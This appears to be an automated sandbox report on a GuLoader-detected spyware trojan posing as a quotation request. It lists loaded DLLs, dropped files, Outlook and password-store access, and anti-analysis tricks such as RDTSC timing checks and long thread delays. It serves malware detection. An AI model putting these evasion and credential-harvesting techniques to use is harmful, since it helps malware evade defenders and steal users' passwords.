Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE46F8	5_2_37EE46F8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE5631	5_2_37EE5631
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE15E8	5_2_37EE15E8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE15F8	5_2_37EE15F8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE3588	5_2_37EE3588
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE3598	5_2_37EE3598
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE0488	5_2_37EE0488
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE8481	5_2_37EE8481
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE0498	5_2_37EE0498
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE2300	5_2_37EE2300
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE22F3	5_2_37EE22F3
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE4299	5_2_37EE4299
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE11A0	5_2_37EE11A0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE1190	5_2_37EE1190
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE3140	5_2_37EE3140
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE6121	5_2_37EE6121
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE3130	5_2_37EE3130
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE0040	5_2_37EE0040
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EEE020	5_2_37EEE020
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EEE030	5_2_37EEE030
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE001F	5_2_37EE001F
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE4FA8	5_2_37EE4FA8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE4F99	5_2_37EE4F99
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE1EA8	5_2_37EE1EA8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE1E98	5_2_37EE1E98
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE3E48	5_2_37EE3E48
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE3E38	5_2_37EE3E38
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE7E30	5_2_37EE7E30
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE0D48	5_2_37EE0D48
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE0D38	5_2_37EE0D38
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE2CE8	5_2_37EE2CE8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE2CD8	5_2_37EE2CD8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE4B40	5_2_37EE4B40
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE4B50	5_2_37EE4B50
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE8ACA	5_2_37EE8ACA
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE8AD8	5_2_37EE8AD8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE1A43	5_2_37EE1A43
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE1A50	5_2_37EE1A50
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE39E0	5_2_37EE39E0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE39F0	5_2_37EE39F0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE08E0	5_2_37EE08E0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE08F0	5_2_37EE08F0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE2890	5_2_37EE2890
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_37EE287F	5_2_37EE287F
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_3845D478	5_2_3845D478
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_3845E628	5_2_3845E628
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_2_384573D0	5_2_384573D0

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Code function: String function: 00402B3A appears 47 times

Source: Request for Quotation New collaboration.exe, 00000005.00000002.2834768476.0000000034FE7000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Request for Quotation New collaboration.exe

Source: Request for Quotation New collaboration.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Code function: 0_2_004045CA GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045CA

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

File created: C:\Users\user\selvsikker

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

File created: C:\Users\user\AppData\Local\Temp\nsi7774.tmp

Jump to behavior

Source: Request for Quotation New collaboration.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000352C3000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000352B5000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000352A5000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000352D8000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2835640876.00000000352E4000.00000004.00000800.00020000.00000000.sdmp, Request for Quotation New collaboration.exe, 00000005.00000002.2836799710.00000000361ED000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Request for Quotation New collaboration.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

File read: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Request for Quotation New collaboration.exe "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process created: C:\Users\user\Desktop\Request for Quotation New collaboration.exe "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process created: C:\Users\user\Desktop\Request for Quotation New collaboration.exe "C:\Users\user\Desktop\Request for Quotation New collaboration.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2032277835.0000000003E08000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

Code function: 0_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406254

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 0_2_10002DA0 push eax; ret		0_2_10002DCE
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 5_3_001949CC push eax; iretd		5_3_001949CD

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe

File created: C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	API/Special instruction interceptor: Address: 414AF04
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	API/Special instruction interceptor: Address: 25BAF04

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	RDTSC instruction interceptor: First address: 41115E8 second address: 41115E8 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FAC68E83427h 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 test ch, 00000015h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	RDTSC instruction interceptor: First address: 25815E8 second address: 25815E8 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FAC69434737h 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 test ch, 00000015h 0x0000000b rdtsc

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Memory allocated: 351C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Memory allocated: 34E40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596152	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Thread delayed: delay time: 595937	Jump to behavior
